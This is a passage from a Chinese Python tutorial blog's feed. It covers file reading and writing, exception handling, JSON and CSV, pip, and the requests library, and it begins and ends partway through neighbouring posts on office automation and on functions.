A：&lt;code&gt;465&lt;/code&gt; 用 SSL（&lt;code&gt;SMTP_SSL&lt;/code&gt;），&lt;code&gt;587&lt;/code&gt; 用 STARTTLS（&lt;code&gt;SMTP&lt;/code&gt; + &lt;code&gt;starttls()&lt;/code&gt;），&lt;code&gt;25&lt;/code&gt; 常被运营商封禁。推荐 465 SSL。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;办公自动化速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Excel&lt;/strong&gt;：&lt;code&gt;load_workbook&lt;/code&gt; 读 / &lt;code&gt;Workbook&lt;/code&gt; 写，&lt;code&gt;ws.append()&lt;/code&gt; 加行，&lt;code&gt;iter_rows&lt;/code&gt; 遍历，&lt;code&gt;openpyxl.chart&lt;/code&gt; 画图&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Word&lt;/strong&gt;：&lt;code&gt;Document()&lt;/code&gt;，&lt;code&gt;add_heading/add_paragraph/add_table/add_picture&lt;/code&gt;，&lt;code&gt;run&lt;/code&gt; 控样式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PPT&lt;/strong&gt;：&lt;code&gt;Presentation()&lt;/code&gt;，&lt;code&gt;slide_layouts&lt;/code&gt; 选版式，&lt;code&gt;shapes.title&lt;/code&gt; / &lt;code&gt;placeholders&lt;/code&gt; 填内容&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PDF&lt;/strong&gt;：&lt;code&gt;pypdf&lt;/code&gt; 合并拆分旋转加密，&lt;code&gt;pdfplumber&lt;/code&gt; 提文本表格，水印用 &lt;code&gt;merge_page&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;图像&lt;/strong&gt;：&lt;code&gt;Image.open&lt;/code&gt;，&lt;code&gt;resize/rotate/crop/thumbnail/filter&lt;/code&gt;，&lt;code&gt;ImageDraw&lt;/code&gt; 绘图，&lt;code&gt;putalpha&lt;/code&gt; 调透明度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;邮件&lt;/strong&gt;：&lt;code&gt;smtplib&lt;/code&gt; + &lt;code&gt;MIMEMultipart&lt;/code&gt;，用 SMTP 授权码，465 端口走 SSL&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全&lt;/strong&gt;：授权码/AK-SK 放环境变量，绝不硬编码进 Git&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通用优势&lt;/strong&gt;：纯 Python 操作，无需装 Office，跨平台可批处理&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-06-regex-linux/&quot;&gt;正则表达式与 Linux&lt;/a&gt; 将讲解正则表达式的语法规则和在 Python 中的应用（输入验证、内容提取、替换、拆分），以及 Linux 操作系统的基础命令、文件系统和 Shell 编程。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>文件操作与数据交换</title><link>http://117.72.32.87/blog/posts/python-roadmap-04-file-processing/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-04-file-processing/</guid><description>Python 文件与数据处理：文本/二进制文件读写、异常处理机制、with 上下文管理器、JSON 序列化反序列化、CSV 读写、pip 包管理和调用网络 API 获取数据。</description><pubDate>Fri, 18 Sep 2026 03:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day21~23&lt;/strong&gt;：文件读写与异常处理、对象序列化（JSON）、CSV 文件读写、pip 包管理、调用网络 API。这是与外部数据打交道的基础能力。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、文件读写&lt;/h2&gt;
&lt;h3&gt;打开和关闭文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 传统方式（不推荐，容易忘记 close）
f = open(&quot;test.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;)
content = f.read()
f.close()

# 推荐方式：with 上下文管理器（自动关闭，即使出错）
with open(&quot;test.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:
    content = f.read()
# 出了 with 块，文件自动关闭
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;打开模式&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模式&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;文件不存在&lt;/th&gt;
&lt;th&gt;文件存在&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;只读（默认）&lt;/td&gt;
&lt;td&gt;报错&lt;/td&gt;
&lt;td&gt;从头读&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;w&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;只写&lt;/td&gt;
&lt;td&gt;创建&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;清空&lt;/strong&gt;后写&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;追加&lt;/td&gt;
&lt;td&gt;创建&lt;/td&gt;
&lt;td&gt;末尾追加&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r+&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读写&lt;/td&gt;
&lt;td&gt;报错&lt;/td&gt;
&lt;td&gt;从头读写&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;w+&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读写&lt;/td&gt;
&lt;td&gt;创建&lt;/td&gt;
&lt;td&gt;清空后读写&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;二进制（叠加，如 &lt;code&gt;rb&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;按字节&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;code&gt;w&lt;/code&gt; 模式会&lt;strong&gt;清空原文件&lt;/strong&gt;！想追加内容一定要用 &lt;code&gt;a&lt;/code&gt;。处理中文文本务必指定 &lt;code&gt;encoding=&quot;utf-8&quot;&lt;/code&gt;，否则 Windows 下默认 GBK 会乱码。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;读写文本文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 写入
with open(&quot;note.txt&quot;, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
    f.write(&quot;第一行\n&quot;)
    f.write(&quot;第二行\n&quot;)
    f.writelines([&quot;第三行\n&quot;, &quot;第四行\n&quot;])   # 写多行（不会自动加换行）

# 读取的三种方式
with open(&quot;note.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:
    all_content = f.read()          # 一次读全部（大文件慎用，占内存）

with open(&quot;note.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:
    lines = f.readlines()           # 读成列表，每行一个元素

# 推荐：逐行迭代（省内存，适合大文件）
with open(&quot;note.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:
    for line in f:                  # 文件对象是可迭代的
        print(line.strip())         # strip() 去掉行尾换行符
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;读写二进制文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 复制图片（二进制用 rb / wb）
with open(&quot;source.jpg&quot;, &quot;rb&quot;) as src, open(&quot;copy.jpg&quot;, &quot;wb&quot;) as dst:
    # 分块读取，避免大文件撑爆内存
    while chunk := src.read(4096):   # 海象运算符 := (Python 3.8+)
        dst.write(chunk)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、异常处理&lt;/h2&gt;
&lt;h3&gt;try / except / else / finally&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try:
    num = int(input(&quot;输入一个整数：&quot;))
    result = 10 / num
except ValueError:                    # 捕获特定异常
    print(&quot;输入的不是有效整数&quot;)
except ZeroDivisionError:
    print(&quot;不能除以 0&quot;)
except (TypeError, KeyError) as e:    # 捕获多种，as e 拿到异常对象
    print(f&quot;其他错误：{e}&quot;)
except Exception as e:                # 兜底捕获所有（放最后）
    print(f&quot;未知错误：{e}&quot;)
else:
    print(f&quot;没有异常，结果 = {result}&quot;)   # try 成功才执行
finally:
    print(&quot;无论如何都会执行（常用于清理资源）&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;执行流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try 块
  ├─ 无异常 → 执行 else → 执行 finally
  └─ 有异常 → 匹配 except → 执行对应 except → 执行 finally
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;主动抛出与自定义异常&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 主动抛出异常
def set_age(age):
    if age &amp;lt; 0:
        raise ValueError(&quot;年龄不能为负数&quot;)
    return age

# 自定义异常类（继承 Exception）
class BusinessError(Exception):
    def __init__(self, code, message):
        self.code = code
        self.message = message
        super().__init__(message)

try:
    raise BusinessError(404, &quot;用户不存在&quot;)
except BusinessError as e:
    print(f&quot;错误码 {e.code}: {e.message}&quot;)

# 重新抛出 / 异常链
try:
    1 / 0
except ZeroDivisionError:
    print(&quot;记录日志...&quot;)
    raise                # 重新抛出原异常
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;上下文管理器语法&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;with&lt;/code&gt; 能自动管理资源，本质是对象实现了 &lt;code&gt;__enter__&lt;/code&gt; 和 &lt;code&gt;__exit__&lt;/code&gt;。也可自定义：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 方式1：类实现
class MyContext:
    def __enter__(self):
        print(&quot;进入&quot;)
        return self
    def __exit__(self, exc_type, exc_val, exc_tb):
        print(&quot;退出（自动清理）&quot;)
        return False     # False 表示不吞掉异常

with MyContext() as ctx:
    print(&quot;执行中&quot;)

# 方式2：contextlib 装饰器（更简洁）
from contextlib import contextmanager

@contextmanager
def timer():
    import time
    start = time.time()
    yield                       # yield 前是 __enter__，后是 __exit__
    print(f&quot;耗时 {time.time()-start:.4f}s&quot;)

with timer():
    sum(range(1000000))
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、JSON 序列化与反序列化&lt;/h2&gt;
&lt;p&gt;JSON 是跨语言的数据交换格式，Python 用内置 &lt;code&gt;json&lt;/code&gt; 模块处理。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json

data = {&quot;name&quot;: &quot;Ethan&quot;, &quot;age&quot;: 25, &quot;skills&quot;: [&quot;Python&quot;, &quot;Go&quot;], &quot;vip&quot;: True}

# 序列化：Python 对象 → JSON 字符串
json_str = json.dumps(data)                      # 紧凑
json_str = json.dumps(data, ensure_ascii=False)  # 保留中文（不转义成 \uXXXX）
json_str = json.dumps(data, indent=2, ensure_ascii=False)  # 美化缩进
print(json_str)

# 反序列化：JSON 字符串 → Python 对象
obj = json.loads(json_str)
print(obj[&quot;name&quot;])       # Ethan

# 直接读写文件
# 写入文件
with open(&quot;data.json&quot;, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
    json.dump(data, f, ensure_ascii=False, indent=2)

# 从文件读取
with open(&quot;data.json&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:
    loaded = json.load(f)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python 类型 ↔ JSON 类型对照&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Python&lt;/th&gt;
&lt;th&gt;JSON&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;dict&lt;/td&gt;
&lt;td&gt;object &lt;code&gt;{}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;list / tuple&lt;/td&gt;
&lt;td&gt;array &lt;code&gt;[]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;str&lt;/td&gt;
&lt;td&gt;string&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;int / float&lt;/td&gt;
&lt;td&gt;number&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;True / False&lt;/td&gt;
&lt;td&gt;true / false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;null&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;code&gt;dumps/dump&lt;/code&gt; 是序列化（s = string），&lt;code&gt;loads/load&lt;/code&gt; 是反序列化。带 &lt;code&gt;s&lt;/code&gt; 的处理字符串，不带 &lt;code&gt;s&lt;/code&gt; 的直接处理文件对象。&lt;code&gt;ensure_ascii=False&lt;/code&gt; 是让中文正常显示的关键。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;四、CSV 文件读写&lt;/h2&gt;
&lt;p&gt;CSV（逗号分隔值）是最简单的表格数据格式，用内置 &lt;code&gt;csv&lt;/code&gt; 模块。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import csv

# 写入 CSV
with open(&quot;users.csv&quot;, &quot;w&quot;, newline=&quot;&quot;, encoding=&quot;utf-8&quot;) as f:
    writer = csv.writer(f)
    writer.writerow([&quot;姓名&quot;, &quot;年龄&quot;, &quot;城市&quot;])           # 写一行（表头）
    writer.writerows([                                  # 写多行
        [&quot;Ethan&quot;, 25, &quot;上海&quot;],
        [&quot;Tom&quot;, 30, &quot;北京&quot;],
    ])

# 读取 CSV（每行是一个列表）
with open(&quot;users.csv&quot;, &quot;r&quot;, newline=&quot;&quot;, encoding=&quot;utf-8&quot;) as f:
    reader = csv.reader(f)
    for row in reader:
        print(row)          # [&apos;姓名&apos;, &apos;年龄&apos;, &apos;城市&apos;] ...

# 用字典方式读写（更适合有表头的数据）
# 写入
with open(&quot;users.csv&quot;, &quot;w&quot;, newline=&quot;&quot;, encoding=&quot;utf-8&quot;) as f:
    fields = [&quot;姓名&quot;, &quot;年龄&quot;]
    writer = csv.DictWriter(f, fieldnames=fields)
    writer.writeheader()
    writer.writerow({&quot;姓名&quot;: &quot;Ethan&quot;, &quot;年龄&quot;: 25})

# 读取（每行是一个字典）
with open(&quot;users.csv&quot;, &quot;r&quot;, newline=&quot;&quot;, encoding=&quot;utf-8&quot;) as f:
    for row in csv.DictReader(f):
        print(row[&quot;姓名&quot;], row[&quot;年龄&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
Windows 下写 CSV 一定要加 &lt;code&gt;newline=&quot;&quot;&lt;/code&gt;，否则每行之间会多一个空行。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;五、pip 包管理&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 安装第三方库
pip install requests
pip install requests==2.31.0      # 指定版本
pip install &quot;requests&amp;gt;=2.0&quot;       # 版本范围

# 查看 / 卸载
pip list                          # 已安装的所有包
pip show requests                 # 某个包的信息
pip uninstall requests            # 卸载

# 依赖管理（项目协作必备）
pip freeze &amp;gt; requirements.txt     # 导出当前环境依赖
pip install -r requirements.txt   # 从文件安装依赖

# 使用国内镜像加速
pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# requirements.txt 示例
requests==2.31.0
pandas&amp;gt;=2.0
Django~=4.2          # ~= 兼容版本（&amp;gt;=4.2, &amp;lt;4.3）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、用网络 API 获取数据&lt;/h2&gt;
&lt;p&gt;结合 &lt;code&gt;requests&lt;/code&gt; 库和 JSON 处理，是爬虫和数据获取的基础。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

# GET 请求一个公开 API
response = requests.get(&quot;https://api.github.com/users/jackfrued&quot;)

# 检查状态码
if response.status_code == 200:
    data = response.json()          # 直接把响应体解析成 dict
    print(data[&quot;login&quot;])            # jackfrued
    print(data[&quot;public_repos&quot;])

# 带参数的请求
resp = requests.get(
    &quot;https://api.github.com/search/repositories&quot;,
    params={&quot;q&quot;: &quot;python&quot;, &quot;sort&quot;: &quot;stars&quot;},   # 自动拼成 ?q=python&amp;amp;sort=stars
    headers={&quot;User-Agent&quot;: &quot;my-app&quot;},           # 自定义请求头
    timeout=10,                                 # 超时（务必设置！）
)

# POST 请求（提交 JSON）
resp = requests.post(
    &quot;https://httpbin.org/post&quot;,
    json={&quot;key&quot;: &quot;value&quot;},           # 自动序列化并设 Content-Type
)

# 异常处理
try:
    resp = requests.get(url, timeout=5)
    resp.raise_for_status()          # 4xx/5xx 抛异常
except requests.exceptions.Timeout:
    print(&quot;请求超时&quot;)
except requests.exceptions.RequestException as e:
    print(f&quot;请求失败：{e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实战：抓取并保存数据&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json

def fetch_and_save(url, filename):
    try:
        resp = requests.get(url, timeout=10)
        resp.raise_for_status()
        data = resp.json()
        # 保存为 JSON 文件
        with open(filename, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
            json.dump(data, f, ensure_ascii=False, indent=2)
        print(f&quot;已保存到 {filename}&quot;)
    except requests.RequestException as e:
        print(f&quot;抓取失败：{e}&quot;)

fetch_and_save(&quot;https://api.github.com/users/jackfrued&quot;, &quot;user.json&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：为什么一定要用 &lt;code&gt;with open(...)&lt;/code&gt;？&lt;/strong&gt;
A：&lt;code&gt;with&lt;/code&gt; 是上下文管理器，无论代码是否出错，退出块时都会自动 &lt;code&gt;close()&lt;/code&gt; 文件，避免资源泄漏。手动 open/close 容易在异常时忘记关闭。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：&lt;code&gt;read()&lt;/code&gt;、&lt;code&gt;readline()&lt;/code&gt;、&lt;code&gt;readlines()&lt;/code&gt; 区别？&lt;/strong&gt;
A：&lt;code&gt;read()&lt;/code&gt; 读全部成一个字符串；&lt;code&gt;readline()&lt;/code&gt; 读一行；&lt;code&gt;readlines()&lt;/code&gt; 读所有行成列表。大文件推荐直接 &lt;code&gt;for line in f&lt;/code&gt; 逐行迭代，最省内存。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：处理中文为什么会乱码？&lt;/strong&gt;
A：没指定编码。&lt;code&gt;open()&lt;/code&gt; 时务必加 &lt;code&gt;encoding=&quot;utf-8&quot;&lt;/code&gt;；&lt;code&gt;json.dumps()&lt;/code&gt; 时加 &lt;code&gt;ensure_ascii=False&lt;/code&gt;。Windows 默认编码是 GBK，不指定容易出问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：&lt;code&gt;except Exception&lt;/code&gt; 能捕获所有异常吗？&lt;/strong&gt;
A：能捕获绝大多数，但捕获不了 &lt;code&gt;SystemExit&lt;/code&gt;、&lt;code&gt;KeyboardInterrupt&lt;/code&gt;（它们继承 &lt;code&gt;BaseException&lt;/code&gt;）。不要写裸 &lt;code&gt;except:&lt;/code&gt;，会连 Ctrl+C 都拦截。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：JSON 和 pickle 怎么选？&lt;/strong&gt;
A：JSON 跨语言、可读、安全，但只支持基本类型；pickle 是 Python 专用、支持任意对象，但&lt;strong&gt;不安全&lt;/strong&gt;（反序列化可执行恶意代码），不要对不可信数据用 pickle。数据交换用 JSON。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：&lt;code&gt;requests&lt;/code&gt; 是标准库吗？&lt;/strong&gt;
A：不是，需要 &lt;code&gt;pip install requests&lt;/code&gt;。标准库是 &lt;code&gt;urllib&lt;/code&gt;，但 API 难用，实际项目基本都用 requests（或异步的 httpx/aiohttp）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;本篇速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;文件操作&lt;/strong&gt;：&lt;code&gt;with open(f, mode, encoding=&quot;utf-8&quot;)&lt;/code&gt;，模式 r/w/a/rb/wb，&lt;code&gt;w&lt;/code&gt; 会清空&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;读取三法&lt;/strong&gt;：&lt;code&gt;read()&lt;/code&gt; 全部 / &lt;code&gt;readlines()&lt;/code&gt; 列表 / &lt;code&gt;for line in f&lt;/code&gt; 逐行（大文件首选）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异常结构&lt;/strong&gt;：&lt;code&gt;try → except(可多个) → else(成功时) → finally(必执行)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主动抛错&lt;/strong&gt;：&lt;code&gt;raise ValueError(...)&lt;/code&gt;；自定义异常继承 &lt;code&gt;Exception&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;上下文管理器&lt;/strong&gt;：&lt;code&gt;__enter__/__exit__&lt;/code&gt; 或 &lt;code&gt;@contextmanager&lt;/code&gt; + &lt;code&gt;yield&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JSON&lt;/strong&gt;：&lt;code&gt;dumps/dump&lt;/code&gt; 序列化，&lt;code&gt;loads/load&lt;/code&gt; 反序列化，&lt;code&gt;ensure_ascii=False&lt;/code&gt; 保中文&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSV&lt;/strong&gt;：&lt;code&gt;csv.writer/reader&lt;/code&gt;，字典用 &lt;code&gt;DictWriter/DictReader&lt;/code&gt;，Windows 加 &lt;code&gt;newline=&quot;&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pip&lt;/strong&gt;：&lt;code&gt;freeze &amp;gt; requirements.txt&lt;/code&gt; 导出，&lt;code&gt;-r&lt;/code&gt; 安装，用国内镜像加速&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;requests&lt;/strong&gt;：&lt;code&gt;get/post&lt;/code&gt;，&lt;code&gt;resp.json()&lt;/code&gt;，务必设 &lt;code&gt;timeout&lt;/code&gt;，&lt;code&gt;raise_for_status()&lt;/code&gt; 检查&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-05-office-automation/&quot;&gt;办公自动化与图像处理&lt;/a&gt; 将讲解用 openpyxl 处理 Excel、python-docx/python-pptx 操作 Word 和 PPT、PyPDF 处理 PDF、Pillow 处理图像，以及发送邮件短信。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>函数、模块与面向对象</title><link>http://117.72.32.87/blog/posts/python-roadmap-03-function-oop/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-03-function-oop/</guid><description>Python 函数与面向对象核心：函数定义与参数、高阶函数、Lambda、装饰器、递归，以及类与对象、属性装饰器、静态/类方法、继承与多态，附扑克游戏与工资结算实战。</description><pubDate>Fri, 18 Sep 2026 02:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day14~20&lt;/strong&gt;：函数与模块、函数进阶（高阶函数/Lambda/装饰器/递归）、面向对象编程三大支柱。这是从&quot;会写脚本&quot;到&quot;会设计程序&quot;的关键跃迁。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、函数与模块&lt;/h2&gt;
&lt;h3&gt;定义函数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def greet(name):
    &quot;&quot;&quot;向指定用户打招呼（这是文档字符串 docstring）&quot;&quot;&quot;
    return f&quot;Hello, {name}!&quot;

# 调用
msg = greet(&quot;Ethan&quot;)
print(msg)

# 无 return 的函数默认返回 None
def print_hi():
    print(&quot;hi&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;函数的参数（重点）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 位置参数：按顺序传
def add(a, b):
    return a + b
add(1, 2)

# 2. 关键字参数：按名字传，顺序无关
add(a=1, b=2)
add(b=2, a=1)          # 等价

# 3. 默认参数：调用时可省略
def power(base, exp=2):
    return base ** exp
power(3)               # 9（用默认 exp=2）
power(3, 3)            # 27

# 4. 可变参数 *args：接收任意多个位置参数，打包成元组
def sum_all(*args):
    print(args)        # (1, 2, 3)
    return sum(args)
sum_all(1, 2, 3)

# 5. 可变关键字参数 **kwargs：打包成字典
def make_user(**kwargs):
    print(kwargs)      # {&apos;name&apos;: &apos;Tom&apos;, &apos;age&apos;: 20}
make_user(name=&quot;Tom&quot;, age=20)

# 6. 混合使用（顺序：位置 → *args → 默认 → **kwargs）
def func(a, b, *args, c=10, **kwargs):
    pass
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;默认参数陷阱&lt;/strong&gt;：默认值不要用可变对象（如 &lt;code&gt;def f(x=[])&lt;/code&gt;）！因为默认值只在定义时创建一次，多次调用会共享同一个列表。正确做法：&lt;code&gt;def f(x=None): if x is None: x = []&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;用模块管理函数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# module_a.py
def hello():
    return &quot;hello from module_a&quot;

PI = 3.14

# main.py 导入的几种方式
import module_a                    # 用 module_a.hello()
from module_a import hello, PI     # 直接用 hello()
from module_a import *             # 导入全部（不推荐，易命名冲突）
import module_a as ma              # 别名 ma.hello()

# 标准库示例
import math, random, os, sys, datetime
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、函数使用进阶&lt;/h2&gt;
&lt;h3&gt;高阶函数（函数作为参数/返回值）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Python 中函数是一等公民，可以当参数传递
def apply(func, value):
    return func(value)

print(apply(abs, -5))          # 5
print(apply(lambda x: x*2, 10)) # 20

# 内置高阶函数
nums = [1, 2, 3, 4, 5]
print(list(map(lambda x: x**2, nums)))       # [1,4,9,16,25] 映射
print(list(filter(lambda x: x % 2 == 0, nums)))  # [2,4] 过滤
from functools import reduce
print(reduce(lambda a, b: a * b, nums))      # 120 累积
print(sorted(nums, key=lambda x: -x))        # 降序排序
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Lambda 函数（匿名函数）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 语法：lambda 参数: 表达式（只能是一个表达式）
square = lambda x: x ** 2
print(square(5))             # 25

add = lambda a, b: a + b
print(add(1, 2))             # 3

# 常用于 sort/map/filter 的 key
students = [(&quot;Tom&quot;, 85), (&quot;Amy&quot;, 92), (&quot;Bob&quot;, 78)]
students.sort(key=lambda s: s[1], reverse=True)   # 按分数降序
print(students)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;偏函数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from functools import partial

def power(base, exp):
    return base ** exp

square = partial(power, exp=2)   # 固定 exp=2
cube = partial(power, exp=3)
print(square(5))    # 25
print(cube(3))      # 27

# int 转换固定进制
int2 = partial(int, base=2)
print(int2(&quot;1010&quot;))   # 10（二进制转十进制）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、函数高级应用&lt;/h2&gt;
&lt;h3&gt;装饰器（Decorator）&lt;/h3&gt;
&lt;p&gt;装饰器本质是&quot;接收函数、返回新函数&quot;的高阶函数，用于&lt;strong&gt;不修改原函数代码&lt;/strong&gt;的前提下增强功能（如日志、计时、权限校验）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import time
from functools import wraps

# 定义一个计时装饰器
def timer(func):
    @wraps(func)                       # 保留原函数的名字和文档
    def wrapper(*args, **kwargs):
        start = time.time()
